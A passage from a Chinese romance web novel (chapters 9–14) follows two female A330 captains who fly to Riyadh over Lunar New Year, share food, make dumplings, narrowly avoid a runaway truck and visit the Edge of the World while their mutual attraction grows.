没关系,没关系,她15天飞完来回的国际航班,三天大四段,还有零零散散的积累,
统共129个小时,胜利的曙光近在咫尺。
今天正好9号,虞颂恩戳开排班表,估算她们分道扬镳的日子。
11号大四段,12号三段,13号也是大四段,9加7加10,已经超过压座的小时数。
休息两天,除夕执飞利雅得,不知道会和谁一起搭档?反正不是何汀。
2月16日,除夕,北城多云转阴,虞颂恩步履轻快地走进公司大楼。完成酒精测试和体检,打印飞行任务书,只见她的名字紧跟在何汀的后面。
装满浆糊的大脑回光返照。
为什么?
9. chapter 9
彼时清晨六点多,早班的同事积极参与新年布置,春联、窗花、灯笼,公司处处弥漫着浓郁的年味。
虞颂恩忽略排在前列的机组,这会儿缓过神才瞅见“何庆媛”三个字,顿时喜上眉梢。她瞳孔掀起的涟漪还打着圈儿,眼前名字却具象化。
“小虞,任务书打好啦?”
虞颂恩勾起唇角转身,迎面就撞进那双粲然的笑眼里。她大咧咧打招呼:“何教!”
“走,去签派。”何庆媛留着利落的短发,满面红光,岁月只在她眼角绣出细纹,看着最多40岁。
“好。”
虞颂恩往前走两步,抬头就瞧见何汀已经在签派台,正和签派员交涉。她跟着何庆媛两三步靠近,听何汀说:“备降机场在达曼法赫德国王国际机场。”目的地利雅得天气良好,但防患未然,机组也会选1到2个备降的机场。
“加注77吨燃油。”空客330平均每小时油耗约6吨,飞行11个小时,航线耗油66吨。何汀估算备降耗油、不可预期燃油以及最后储备油,总共77吨。
何庆媛点头。
何汀继续说:“航路中段有分散雷雨,可能会绕飞。”
何庆媛收起笑容,迅速转为工作状态:“好,随时关注最新气象信息,准备开会吧。”
飞行准备室,4位飞行员,10位乘务员尽数到场。
何庆媛坐在主位,示意检查航班随身携带的证件和EFB(飞行包)。机组成员依言拿出公务护照,飞行执照,飞行员登机牌,电子飞行包。她对照任务书的准备提示单逐项检查,言语简洁:“何汀,你来讲飞行航路和航路气象。”
何汀重复签派时说的话,语速不疾不徐。
虞颂恩歪着头看她,同样端坐在桌前开会,何汀此时眉头微蹙,一丝不苟分析航路的模样,仿佛蒙着层冰霜。
难道心情不好?还是说,第一次和何教飞,紧张?无暇去思考更多,虞颂恩抛开最近的小心思,乘车前往机场时,坐何汀身边。
她压低嗓音问:“喂,你紧张?”
何汀侧头:“什么?”
四年过去,还是耳背,虞颂恩怀疑她贿赂体检医生。
喜庆的日子不和她计较,虞颂恩好脾气地重复:“跟着何教飞,你是不是紧张?”
“还好,以前飞过。”早在何汀18岁,何庆媛就带她飞过轻型运动类飞机。
虞颂恩不以为意:“也对,你没去港城前,飞过330。”
“嗯。”何汀略微思索片刻,点头,当作回应。
机组抵达机场,过安检登机,开完简短的航前协同会,何庆媛摸出两沓红包。
“新年新气象,大家万事顺意,起落平安。”她先拿一个给搭档的副驾,随即往虞颂恩怀里塞,笑脸盈盈道,“你们紧急避让的事件已经在多平台发酵,都夸呢,公司也会表彰,还有奖金拿。”
虞颂恩愣怔两秒,谦虚道:“都是何汀临危不乱,预判准确,操纵飞机调转方向。”
何庆媛难以掩饰的欣赏:“你发现及时啊,提前联系管制,缩短了解除危机的时间。”
她身侧的飞行员已经年逾不惑,没过机长试,现在终身副驾,乐呵呵附和:“俩孩子都厉害,长江后浪推前浪。”
“是,是,是,后浪推前浪。”何庆媛笑着转身,将红包放在何汀手心,“小何机长,来年也继续努力。”
何汀捏着红包,眼底笑意舒展:“何教身体康泰,顺遂无忧。”
虞颂恩瞬间了然,人际交往方面也不能掉队。她紧随其后,“何教吉祥如意,阖家幸福。”
“好,都好,新年好。”何庆媛派发红包,包括乘务员和安全员在内,14位机组成员人手一个。她和副驾负责起飞工作,安排虞颂恩操控飞机落地,何汀协助,中途巡航轮换。
驾驶舱,何庆媛检查面板,身侧的副驾拿着反光背心,正要走出去,被她拦住:“交给年轻人吧。”
视线移动,飞机左侧,虞颂恩往左绕行检查机头区域,何汀往右。
确定机头无损,虞颂恩快步走去前轮位置,检查起落架支柱和舱门完好,转弯销的机构和锁销正常,压缩量正常,没有渗漏。
飞机右侧,何汀观察探头,静压孔,排放口以及右空速管是否渗透,然后检查发动机。
虞颂恩已经完成检查,悄无声息走去她身后,冷不丁开口:“嘿!”
何汀拨动着扇叶,听见突如其来的声音,猛地一个激灵。她深呼吸缓过劲,才问:“做什么?”
虞颂恩瞧她被吓住,心情莫名转好,眼前的短发也越看越顺眼。管它劳什子安全距离,她又不会喜欢对方,飞完回来就拜拜,何必大过年找罪受。
“你这边OK吗?”
“陆楹在换放电刷。”何汀反方向后退,仰头检查右机翼和机翼前缘。
话音未落,陆楹就从高空车上下来,快步朝这边走。她170的个子,比何汀和虞颂恩稍矮2厘米,长腿迈得快,走路像一阵风。
“何机长,换好了,还有其他问题吗?”
“没了。”何汀检查完前机身,签字。
“好,我先去做事。”陆楹性子更冷,行走的冰冻箱。虞颂恩去年改装空客A330认识她,从没见她笑过,年底才知道原因。
虞颂恩叫住她:“你等等。”
“虞机长?还有什么?”
“新年快乐。”虞颂恩掏出事
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先准备的红包。
陆楹双唇微张,眼底浮现讶异:“不,不用,都已经给过了。”
“没多少,图吉利。”虞颂恩将红包塞进她衣袋,疾步离开。
陆楹望着她们远去的背影,怔怔地待在原地,半晌才抬手,曲起食指抹掉没人瞧见的泪花。她妈妈去年6月车祸,经过医生全力抢救脱离危险,却是植物人状态。空客a330机队即刻发起募捐,筹集18万善款,12月,她又收到虞颂恩请中队长转交的2万元。
公务舱,虞颂恩坐定,顺手递一个红包给何汀,“你的。”
何汀笑容妥帖:“我也有?”
“是呢,都有准备,但何教捷足先登了。”
“那......”何汀低头,打开装电脑的背包,取出封面画着卡通鱼的红包给她,“交换。”
“换来换去不如不......”猝不及防,看清楚封面的画,虞颂恩顿觉心口被小木槌捶打一下。她读书时就喜欢何汀画的斗鱼,可惜环境受限,一直没养。
“怎么?”何汀偏头望着她,笑意从唇边漫开,嗓音毛绒绒,带钩子,“斗鱼吗?我在养,粉白色的,小家伙蛮可爱。”
虞颂恩脑子短暂停摆,稍微平复的心跳再次失序。
“为什么想养鱼?”没听说她喜欢养鱼啊。
何汀拉开背包拉链:“你不觉得家里有活物,就有生机吗?我经常不着家,没法养猫养狗,养鱼倒省心。”
“哦。”养鱼就养鱼,金鱼,鲽鱼,斑马鱼,为什么偏要养斗鱼?肯定秦菲喜欢。
好巧不巧,何汀整理证件,摸出身份证放进卡包,首页那张合照似乎佐证虞颂恩的猜想。她总是有意无意给她惊喜,又恰到好处泼她冷水。
人在反常状态,容易浮想联翩,坐立难安,翻脸比翻书快。虞颂恩小心翼翼收好红包,脖颈靠着U型枕,扭头不看她。
何汀仿佛置身事外,已经解开安全带:“在申请放行了,你要去瞧瞧吗?”
虞颂恩闭眼:“不去。”
5分钟后,北城时间15:45分,延误35分钟的SZ789次航班放行。
神州航空签派:“神州789,签派,相关放行资料已同步,请确认。”
何庆媛:“签派,神州789收到,飞行计划及跑道信息已确认,资料正确。”
飞机顺利放行,准备推出,何汀坐后排观察。
副驾转头问:“小何不去休息,坐后面干嘛?”
何庆媛:“由她吧,应该不困。”
说完,身后的舱门提示音响起。
何汀确定来者是谁,起身去开门,咔嗒的声响,门缝那双熟悉的眼又瞪她:“休想背着我偷师!”
10. chapter 10
“新年快乐。”
“谢谢。”
夜幕泼墨般漆黑,浓稠得化不开,利雅得市区却灯火通明。喜来登附近的便利店,虞颂恩推门进去就瞧见何汀付完钱,正和收银员话聊。收银员说着蹩脚的汉语,何汀则一口流利的阿拉伯语。
这是什么语言怪物?
虞颂恩瞥她一眼,而后径直走去零食区。挑挑拣拣,奶糖,椰子糖,巧克力装满小篮子。她不爱甜食,但有时候会贪嘴,报复性进食,然后十天半个月都不再碰。
结账,虞颂恩拎着袋子出去,没走两步就驻足在原地,抬眼看着相隔半米的何汀,没来由问:“你在等我?”
“嗯,快10点,一个人不安全。”何汀眼底的疲惫蔓延,但唇边依旧保持弧度,“走吧。”
两个字松松软软,似用声音牵住她的手。
虞颂恩不禁跟随何汀的脚步,一起进酒店,等电梯,坐电梯,出电梯,全程出奇的安静。何汀低头回消息,虞颂恩也默不作声,然后各自各屋。
洗完澡,虞颂恩倚着窗边的沙发剥巧克力糖纸,晚风吹起长发,她清润的眼眸低垂。
小屁孩:【没睡,没睡!】
虞颂恩备注的小屁孩正是在高考冲刺期的赵暮因。
她转账800元:【给。】
【姐!你真好。】赵暮因打字,紧跟着阿狸谢谢老板的表情包。
国内已经凌晨4点多,虞颂恩提醒她:【早点睡。】
【我守岁嘛。】
【守什么守?快去睡觉。】
【我就“出狱”12天,初八还得回去蹲着,你让我再玩会儿。】
虞颂恩嚼着巧克力,浓郁的口感瞬间在唇齿间扩散,应她:【仅此一天,下不为例。】
【好!对啦,今天妈又念叨你。】
【月底可以休息两天。】
【你要回来?】
【是啊,不然老郑同志会天天给我打电话。】虞颂恩已经快四个月没回丹城,但每年的2月底,再忙都会空出两天。
【恭候大驾!】
虞颂恩知道赵暮音惦记礼物,每次回去总是拎着大包小包。她问:【想要礼物吧?】
【你回来就好,其次才是礼物。】
【这么乖?】
【当然啦,我立马睡觉,你再多夸两句。】赵暮因还在襁褓中,13岁的虞颂恩就常伴她左右,教她说话、识字,听她撒娇、胡闹,陪她一天天长大。
她依赖姐姐。
虞颂恩笑意加深:【好,你乖。】
小屁孩:【对哦,姐,早点带姐夫回家。】
虞颂恩:【我不婚不育,你这辈子都不会有姐夫。】【滚吧。】
【嗯呐,这就滚。】
虞颂恩退出私信,望着窗外无边的夜色,脑海闪过在便利店时短暂碰面的场景。何汀身量颀长,脊背挺直,穿着最普通的白色衬衫和亚麻灰羊绒马甲,搭配黑色阔腿裤,回头看她。
笑容清冽,宛若山涧溪流。
为什么会想到她?虞颂恩扶额,试图甩去何汀存留的影像。可惜事与愿违,眼前全是对方的影子,付钱,交谈,将瓶瓶罐罐装进购物袋。
她思维跳跃,开始猜测对方买的什么东西。酒?巧克力搭配红酒,浓厚醇香,回味无穷,想喝......但深夜叨扰,会不会冒昧?意识还在权衡利弊,手却已经点开微信,找到某植物头像,编辑文字发送:【谢谢。】
何汀秒回:【嗯?】
【谢谢你等我。】虞颂恩不喜欢绕弯子,直切主题,【买酒了?】
【没有,这边严令禁酒。】沙特阿拉伯明文规定禁止饮酒,包括境内的外国人也不能违例。
【哦。】
虞颂恩拇指揉按着太阳穴,回消息。今晚脑子不清醒,不仅向何汀讨酒喝,还忘记当地的文化信仰。
睡觉吧,也许明天就是正常人。她压住心头的千思百绪,锁屏,起身往床边走,微信提示音响起。
虞颂恩靠坐在床沿,低头点开语音条。
老干部:【要不要过来,一起跨年?】
一墙之隔,10分钟前,何汀盯着手机屏幕,眉头深蹙。
她们利雅得时间9点落地,将近10点才住进酒店。何汀估算秦菲排班的时间打去语音电话,连续两个未接通。
留言:【小菲,忙吗?什么时候得空视频,妈也在。】
等到何庆媛回自己的房间,何汀洗漱完出来,才发现秦菲回复:【睡着了,已经给妈打了电话。】
何汀:【嗯,新年快乐。】
【新年快乐,红包就不收了,都工作了。】
【好,晚安。】
【晚安。】
确实,秦菲已经四年没有收她的红包。何汀犹记得,多年前的除夕节,妹妹靠着她肩膀撒娇。
“姐你工资比我多,是不是应该继续发红包?”
“600太多,200就够啦,讨个好彩头。”
......
“谢谢姐,爱你。”
回忆过往,两相对比,何汀眼眶发红。她们为什么会因为一个外人,发展到如今这样的局面?她琢磨着忽然冒出的念头,外人.......是啊,从始至终,就没把柯妤当成妹妹可以托付的对象,最开始就已经否定她。
当年去港城前的面谈,也只是防患未然,带着警告的语气要求对方保证。
这些年,也从未关心过妹妹这位女朋友。
然而妹妹却抱着白头相守的期许。
这是她们矛盾的根本.......
何汀深吸一口气,视线重回微信界面,瞧见左上角的红点,虞颂恩发来消息。
【谢谢。】
她把酸涩忍进心里,指腹敲着九宫格键盘:【嗯?】
虞颂恩表示感谢,问有没有买酒。
何汀解释利雅得禁酒,后知后觉她难道想喝酒?
刚吃完秦菲的闭门羹,却迎来虞颂恩的暗示。何汀看着旁边为和妹妹视频准备的零食,按住语音键:【要不要过来,一起跨年。】
话筒对面的虞颂恩收到邀请,在心底翻白眼。
跨年?北城已经4点37分,跨什么年?
然而腿脚却不听使唤,她已经走进玻璃间,洗脸洗手,随后披件外套,不过5分钟就拎着购物袋敲响隔壁房门。
反正倒时差睡不着,闲着也是闲着。
门打开,何汀站在光影里,神色惯常平淡,唇角偶尔显现的笑容也消失殆尽,眉
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间甚至绕着还未消散的愁。
“怎么带东西?”
来不及思忖,何汀开口,虞颂恩借着她转身让开的身影,进房间。
“总不能空手来,还是搭伙吃点东西吧。”虞颂恩跟随何汀走去靠窗的小茶桌坐定,听她问:“巧克力?”
“嗯,乔慕的黑松露,味道不错。”
“确实,以前吃过。”何汀拿过购物袋,将零食摆在小茶桌上,“尝尝我带的零食。”
鸡腿,鸭脖,香辣鱼尾......
都是肉,虞颂恩咋舌:“你说,这是零食?”
“嗯,早上卤的鸡腿和鸭脖,香辣鱼尾倒是月初去湘城买的。”何汀递给她手套。
虞颂恩知道对方爱吃肉,但把鸡腿和鸭脖当零食,还是头一次见。她无言以对,只能接过手套,沉默着消灭美食。
“唔,你!”卤鸡腿没有腥味,肉质鲜咸香嫩,虞颂恩忍不住赞叹,问她,“你哪儿买的?快给我说。”
“怎么?”
“好吃!”
厨艺被认可,何汀低沉的心思稍微活络,反倒开始发难:“牛排更好吃,请你三回都不应。”四野静谧,听觉就敏感得可怕,她声音好似带着喉间的温度拂过耳畔,惹得虞颂恩头皮发麻。
怎么还带记仇?
也对,都是天蝎座,何汀比她大一天,生日10月28。
“我忙,你也忙。”虞颂恩摸不准何汀的意思,只好糊弄过去,转移话题,“你还没说哪儿买的卤鸡腿?”
“自制卤料,鸭脖也是。”
......
言外之意,以后想吃,得去她家。
虞颂恩偏不入套:“发我一份卤料配方。”
何汀唇边的笑容回归:“独门配方,概不外传。”她默不作声的样子有点冷脸,看着挺不好接近,说起话来这种感觉会削减不少,尤其和虞颂恩待在一起。
“你!”
虞颂恩拿她没辙,咬牙切齿,“我不稀罕。”
“等春运结束,可以来我家,牛排,鸡腿,鸭脖,应有尽有。”何汀说完觉得少点什么,继续补充,“明天先吃饺子。”
“饺子?”
“嗯,大年初一,何教说一起包饺子,酒店的厨房帮忙煮,我会先去市场买肉馅。”
虞颂恩气没消:“饺子可以吃,牛排和鸡腿没兴趣。”
“真没兴趣?还有红酒。”
手表的时间显示00:00,何汀寻到她眼睛,一字一句开口,“不过现在,虞同学,请你接受我的祝福。”
“新年快乐,永远热情,永远灿烂。”
似乎被什么莫名吸引,虞颂恩没有躲开。只是长时间的对视容易让人产生接吻的念头,可显然她与何汀并不适合。
毕竟虽说做1做0不如做3精彩,但她暂时不想知三当三。不想,也不能。
虞颂恩低头,盯着鸡腿:“嗯,新年快乐,搞那么正式干嘛。”
“至于牛排,3月吧,我月底忙。”她说话时已经尽量按捺住情绪,刚才回应祝福突兀,答应邀约也突兀。她有些懊恼,想一个人缓缓。
何汀听完笑了一下,唇角上扬,鼻息带着的那种笑,浅浅的,低低的:“好,一言为定。”
11. chapter 11
执飞国际航班的头两年,新鲜感驱使,虞颂恩会提前做攻略,跋山涉水奔赴不同的旅游景点打卡。如今她已经工作8年有余,驻外的大部分时间都选择睡觉或者喝咖啡发呆。
只是今日例外,她不知道搭错哪根筋,竟然主动提议陪何汀去买菜。
因此清晨不过7点半,虞颂恩还没睁眼就察觉床头的手机震动。“唔。”伸手拿过吵醒她的罪魁祸首,眼睛仍然闭着,按接听键,“喂。”
何汀清润的嗓音:“你说,让我7点半叫醒你。”
“有吗?”虞颂恩愣怔片刻,想起昨晚临走前,她鬼使神差提醒何汀,“我定7点的闹钟,没反应你就打电话,最迟7点半。”
虞颂恩瞬间清醒,翻身坐起来,趿拉着拖鞋,边往洗手间走边说,“等我10分钟。”
洗脸刷牙,简单的补水防晒,换好衣服。她打开门,抬眼看去,何汀就站在门外,递来咖啡和面包。
“阿拉比卡?你怎么知道我喜欢?”利雅得阿拉比卡咖啡工坊是世界最大规模的阿拉比卡烘焙门店,虞颂恩每次出差都会去闲逛半天。
身前的何汀不显山,不露水,眉眼间隐约带笑:“你发过朋友圈。”
虞颂恩心脏轻颤一下,暗忖她对同事如此周到,女朋友不吃醋?以前也没觉得她是中央空调啊,反而更像闷葫芦,喜欢独来独往。最近总在见鬼,虞颂恩深吸一口气,勉强扫去异样的情绪,接过纸质的购物袋。
“谢了。”她看何汀穿的浅色运动套装,短发半扎成马尾,颈间汗珠若隐若现,不自觉问,“你运动过?”
“嗯,晨跑。”
以前航训的时候,她们经常一起晨跑或者夜跑,起初比公里数,后来比跑完三公里的心率。虞颂恩腹诽,太卷了,她已经许久没有晨跑,尤其在人生地不熟的国外。
她将叹息沉回胸腔:“果然老了。”
何汀拿湿纸巾擦汗水,进电梯:“老?”
“啊?”怎么说出来了,虞颂恩随她进去,没解释,只说:“下次叫我。”
“嗯?”
“你一个人不安全。”虞颂恩说着与昨晚何汀如出一辙的话,出发点却大相径庭,她在较劲,各方面都不能落后。
“好,明天叫你。”
“也没两次了,回去以后你飞哪儿?”虞颂恩思及此,七上八下的心绪终归落在实处。
“初五三段,杭城,羊城,然后回北城;初六春运返程高峰,飞四段,在鹏城休息。”
总算可以独立带队,虞颂恩不禁翘起嘴角:“我初五乌鲁木齐往返,初六/四段歇在蜀江。”她初七从蜀江前往羊城,再到北城,随后连休三天,已经买好回丹城的机票。
虞颂恩喜形于色,身侧何汀的眼眸却霎时黯淡,声音也略显沉闷:“那明天睡懒觉吧。”
“干嘛?你想单独行动?”电梯到站,虞颂恩和她一前一后往外走。
何汀否认:“不是。”她像想到什么,紧接着问,“去过世界之崖吗?”
“没。”虞颂恩执飞利雅得三次,第一次突逢月经不想出门,第二次正值酷暑,她只愿待在酒店喝冰咖啡。
何汀招呼出租车,坐去后排,向司机说明白目的地,瞧她也进来,才问:“中午饭后出发,去吗?”
虞颂恩拉扯安全带系好,吐槽:“中午包饺子,下午去世界之崖,你不嫌累得慌?”
“不累,明天可以休息。”何汀瞅她没拒绝,趁热打铁,“我承包你这两天的咖啡和面包作为交换条件,如何?”
靠,美食诱惑,谁顶得住?她顶不住。但为什么执意约她,虞颂恩扭头望着后退的街景,疑惑像扭紧
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的麻绳,充斥在心底。
何汀似乎看透她的心思,补充道:“何教和王姐都不去,其她同事我也不认识。”
她撒娇?绝不可能,只是在陈诉事实。虞颂恩拧着眉转头,唇齿间咖啡的余味尚存,拿人手短吃人嘴软,她妥协:“两天不够,三天。”
何汀:“好,每天两杯?”
“那倒不用,也不便宜。”
“都可,随你。”
虞颂恩没再接话,何汀同样静默无言,车厢陷入长时间的沉默。
今儿天气晴朗,碧空如洗,窗外的微风也算清凉。车辆缓慢前行,虞颂恩戴着墨镜,恍恍惚惚将要睡着。
旁边的何汀滑动手机屏幕,通过Tripadvisor(猫途鹰app)联系去世界之崖的车。
包车和拼车,她最终选择折合人民币750元的五座越野车。从市区出发,约莫2小时的车程抵达目的地。
何汀记录司机电话,告知对方接车的时间和地点。做完准备工作,她抬头,正巧瞧见十字路口的左方驶来一辆卡车,看这架势,明显刹车失灵。
她会简单的阿拉伯语,可以和当地市民日常沟通,但危急时刻,显然不够用。她抿紧嘴唇,脑海搜索着适当的词汇,扬声提醒司机:“小心。”担心口语不规范,加一句英语,“Mindleft!(注意左边)”
司机闻言,看清楚眼前的处境,判断安全距离,猜测打方向盘已经避不开失控的卡车,必须急刹车才可能解除困境。“抓好拉手。”他说罢,迅速猛踩刹车,电光火石间,轿车停在马路中间,与疾驰的卡车擦身而过。
何汀听不懂司机的阿拉伯语,本能拽住拉手。
惯性影响,系着安全带的虞颂恩头向前栽去,何汀眼疾手快,抬手护她的脑袋。
“小心!”
12. chapter 12
虞颂恩昏昏沉沉,并未熟睡,何汀警醒司机的时候,她就掀开眼皮,头脑逐渐清明。车辆急刹车,身体前倾,她下意识自保,抬手抓住椅背,卸去惯性带来的冲击。
身侧的何汀浑然不知,本能去护她。
好巧不巧,虞颂恩也扭头关心左侧的何汀,却遭逢重创,正面承受“好心人”的巴掌。
唔。
虞颂恩闷哼,左脸火辣辣的疼。
她缓过劲,捂着脸瞪何汀:“你!”明白对方好意,还是因为疼痛不高兴,不高兴,有点凶,浓艳的五官挤在一起,像只受惊的啮齿动物。
“对不起。”何汀投来紧张的目光,柔声问,“疼吗?”
“你说呢?”虞颂恩语气不善,解开安全带,推门往外走。
市场就在附近,何汀付钱,紧跟着她下车:“要不要去医院?”
“不要。”虞颂恩清楚自己的状态,知道没有大碍。但她心底拗起来,暂时不想见到何汀,闷着头步履匆匆。
“虞老师。”
“干嘛?”
何汀悬在心口的巨石坠落,驻足在她身后,悠然开口:“市场在后街,反方向。”
“哦。”虞颂恩转身,狭长的桃花眼瞪圆,轻哼,“带路。”
她们沿着马路慢慢地走,左转再过斑马线,始终保持半米的距离。行至牛肉摊前已过9点,周围人头攒动,多是中国同胞,何汀询问价格,虞颂恩靠近。
阿拉伯语,她听不懂,扮演聋哑人跟在身后。
当地禁食猪肉,她们买牛肉,羊肉,再去蔬菜区挑选胡萝卜,香菇和葱。
“香葱牛肉馅,胡萝卜香菇羊肉馅,我们14个人,买5斤饺子皮绰绰有余。”
“嗯,你说了算。”虞颂恩对重量不敏感,不知道1斤饺子皮可以包多少个饺子,全权交给对方拿主意。
她看何汀拎着大包小包,伸手接过卖家递来的饺子皮。
何汀低声示意:“我来就行,你脸还疼。”
“没那么娇气,下午还能和你去世界之崖。”虞颂恩答应的事不会轻易反悔,纵使心里千百个问号。
幸好何汀也知恩图报,买完菜拐出市场,把她带去街尾的烘焙店。
“她们家烤面包不错,你试试看。”
虞颂恩捏着何汀给她的烤面包,迫不及待张嘴去咬。烤包表皮酥脆,中间夹着四五片牛肉里脊,面粉清香与肉香交缠,搭配黄瓜丝,口感丰富,却并不油腻。虞颂恩满足地眯着眼:“巴掌的事,一笔勾销。我也会做饺子馅,中午给你搭把手。”
“好,多谢虞老师。”
虞颂恩好奇:“诶,你怎么知道这儿的面包好吃?我印象中,它不怎么火,名号在小红书也悄无声息。”
何汀知无不言:“美食往往藏在街边小巷,没有人宣传,都是周围的居民光顾。我驻外的时候喜欢去市场买菜,有幸邂逅。”
“买菜?你是说,以前驻外也经常做饭吃?”
“嗯,超过三天,我就会闲逛去市场。”
“高精力人士,我不行,都在酒店吃。”
“我也就做简单的菜,咖喱鸡,煎牛排,或者生腌海鲜。”
虞颂恩眼睛瞬间亮起来,以免太明显,她说反话;“海鲜?你不怕做不好,吃坏肚子啊?”
“独门秘方,
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保证不会吃坏肚子,味道也可口。”
又是独门秘方,虞颂恩攥紧拳头,按捺住情绪,尽量不发作。
谁稀罕?嘴馋就去餐馆吃。她小声嘀咕,没瞅着何汀唇边勾起的浅笑。
中午,乘务组六人自告奋勇,聚在何庆媛的房间包饺子。两位年轻机长吃到一半,拎着包和相机溜出酒店。
何汀这次坐中间,紧挨着靠窗的虞颂恩,问她:“虞老师,我记得你好像会摄影?”
“怎么?”
何汀递给她相机包:“带的单反,供你发挥。”
虞颂恩拉开单肩包,拿出里面的单反仔细观察:“佳能5d4全画幅?”
“是的,你果然眼光毒辣。”
听对方夸赞,虞颂恩乐不思蜀:“那当然。”她大学期间就是北航摄影社的骨干成员,作品参加过北城大学生摄影比赛,拿的一等奖。
只是她不解:“你不会摄影,买专业相机干嘛?难道去港城进修了?”
何汀面无表情,看不出情绪:“拍着玩。”
“行吧。”虞颂恩不以为意,低头继续把玩相机,随口问,“照片能看吗?我顺便调一下参数。”
“可以,都是风景照。”
虞颂恩翻看照片,犯职业病:“诶,你是不是想拍迎客松?构图不对,应该这样,往左一点,对面群山和落日可以虚化,迎客松才是主题。”
何汀应好:“下次注意。”
“还有拍夜景灯笼,再站远一点,拍出由远及近的氛围感。”
......
她翻到最后一张,照片飞机左侧正在绕机检查的背影,怎么有点熟悉?
13. chapter 13
好熟悉,然而虞颂恩脸盲,对许多人和事只有七秒的记忆。她敛着眉峰思索,徒劳无功,只能拐弯抹角求助何汀:“这是哪儿?”
何汀抿唇:“不记得。”
虞颂恩追问:“哦,你要拍人还是拍飞机?拍人的话有点失焦,看着模糊。”
她此话不假,去年9月,热带台风重创启泰航空,港城国际机场停摆36小时,超过500次航班取消。即便机场采取系留措施,将飞机绑在地面,也依旧存在安全隐患。因此,航空公司决定让飞机提前转场,前往不受台风影响的机坪“借宿”。何汀正是临危受命的飞行员,驾驶航空器降落渝都,恰巧遇见绕机检查的虞颂恩,匆忙之间留影。
何汀还是那副云淡风轻的表情:“拍飞机吧,去港城这些年,经常飞国际,挺少遇到我们公司的飞机。”
我们公司......
国内目前仅有1000名左右的女飞行员,神州航空作为三大航其中一员,占比高达10分之1。但执飞空客a330的女飞......
虞颂恩目光重新聚焦,盯着照片模糊的背影。
这不是她自己?
人的心脏负责输送血液,为细胞提供养分,自然比其他器官敏感,能够快速体现情绪的波动。
虞颂恩胸腔无序地起伏数秒,摸不清何汀偷拍的原因,扭头看她。
如果刻意拍的照片,为什么说不记得?
所以......她不知道是谁,随便按的快门,巧合而已?
“怎么了?”何汀嗓音轻柔,“你要教我拍照吗?我拍风景还好,拍人不行。这位机长应该挺高,但被我拍成矮冬瓜。”
“什么?矮冬瓜?”
虞颂恩气不打一处来,收回视线,闭着眼睛深呼吸。故意的,绝对故意的,不过对方眼神清澈,看着纯良,也没笑,万一冤枉她?
“怪我,新买的相机就拿她当实验品。”
语调轻缓,态度诚恳,大概没逗她。虞颂恩闷声回应:“技术确实不行。”黑历史不能留,她试探着补充,“删了吧?”
受害者反倒安慰始作俑者:“我教你,以后想拍什么拍什么,保证质量!”
何汀不假思索,答应:“好。”
这么爽快?虞颂恩躁动的心绪眨眼被她抚平,垂眸继续设置相机参数。
世界之崖在利雅得西北部,距离市区百来公里,属于尚未完全开发的野生景点。车行后半段,碎石泥沙混合的戈壁滩,没有导航,也没有任何指示牌,全靠熟悉路段的司机驾驶着车辆。
何汀提前将车牌号和司机的手机号码告知何庆媛,但也不敢懈怠,全程保持清醒。关乎安危,虞颂恩和她达成深度的默契,收好相机,强撑着精神看小说。
司机是华人,会讲汉语,抬眼通过内后视镜看向后排,示意两人:“还有5分钟就得停车,你们需要步行去世界之崖。”
何汀:“明白。”
安全起见,警察不许车辆靠近悬崖,必须停在停车场,旅客步行2km前往打卡景点。
何汀从背包的左侧摸出防晒膏,拧开瓶盖,边挤膏体边说:“虞老师,记得补点防晒,虽然只有25度,但太阳毒辣。”景点附近都是茫茫荒漠,典型的热带沙漠气候,纵使在冬天,偶尔也会接近30°的高温。
虞颂恩应好。
涂完防晒,越野车正好在规定的地点停稳。她们背着包下车,跟随零零散散的队伍前行。
正值深冬,却受气候影响,微风含暖,吹得人格外舒适。虞颂恩步伐愈发慢下来,何汀也放缓脚速,与她并肩而行。
“听歌吗?”虞颂恩说人在旅
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途,音乐不可或缺。
“听。”
虞颂恩摘掉无线耳机,外放的第一首歌是宝石Gem的《野狼disco》。
何汀面露惊讶:“你喜欢听粤语歌?”
“都听,也都唱。”虞颂恩笑,开始跟着哼唱:“心里的花,我想要带你回家,在那深夜酒吧,哪管它是真是假。”
何汀低声开口:“我记得你不会说粤语。”
“不会说粤语,但会唱两首粤语歌。粤语咬字挺有韵味,我专门学的。”
“好听的。”
两人没再说话,虞颂恩的歌声在空旷的荒漠回荡,轻盈地飘散。
沿途的风景和南疆塔克拉玛干沙漠有些相似,辽阔无垠的戈壁,看起来一片荒凉。因为土质问题,庄稼不能成活,只剩无尽的沙土。
“何汀,你瞧,快到啦!”听众捧场,虞颂恩没歇气,接连唱完五首歌。看着不过200米的崖顶,她声音带着些许沙哑,加快脚步。
何汀扬起唇角:“没到日落时间,还得再等会儿。”
“知道。”
疾步靠近,两人站在300多米高的悬崖顶端眺望,干涸的河床尽收眼底。
何汀声音温润,像电台深夜历史栏目的播音员:“听说利雅得曾是古老商路的重要驿站,连接波斯和也门。”
“继续讲解,我的免费导游。”虞颂恩双手举着单反环顾四周,找好位置,随即将相机交给何汀,“就是这里,都调好啦,你注意人脸不要模糊。”她往前迈两步,转身回望。
“我说完三二一,你就按快门,如果可以,试着抓拍。”轻风吹拂,虞颂恩裙摆翻飞,宛如唯美的电影海报。
三
二
一
何汀望着虞颂恩,眼底尽是她灵动的身影......
14. chapter 14
“不对,还是糊的,会不会你手抖?”旅客增多,她们退至后方,虞颂恩抱着单反翻照片,删掉三张,剩一张勉强过眼。
她排除快门速度过慢,防抖功能未启用等因素,只能将原因归咎在拍照者身上。
“可能吧,没时间学,也没老师教。”被她抱怨,何汀并不恼,反而虚心请教,“所以虞老师,应该怎么做?”
“开飞机怎么不见你手抖?”话虽如此,虞颂恩却拿着单反示范:“你这样,左手托着机身,右手配合,拇指放在快门的位置。”
何汀接过相机,照做:“然后呢?”
“我光圈和焦距都调好了。”虞颂恩走到她身后,“你试试拍前面那人,看得清楚吗?”
“清楚。”
“手臂贴紧身体。”虞颂恩专注教学,不自觉伸手,握住她的双臂往回收,低声问,“这样是不是好一点?”
何汀嗓音似从喉咙发出:“嗯。”
咫尺的距离,何汀按动快门,虞颂恩没松手,还是缚着她手臂。
她们172cm,应该说虞颂恩比何汀高5毫米。当年招飞体检,虞颂恩紧盯着身高体重秤,非叫填表医生加0.5。
大三体检,何汀试图垫脚,被她抓包。
“喂!你垫我也垫啊!赶紧的,站直。”
因此每回体检,她172.5cm,何汀172cm。
此时从后方看,虞颂恩整个人包裹着何汀,再贴近点,则是标准的后背抱。司机正好捕捉画面,等她们拍完照,将手机递过去,竖起拇指夸赞:“你们好般配哦。”
戈壁滩砂砾石子多,虞颂恩差点没站稳:“啊?不是,什么般配?小姐姐,你是不是误会什么?”
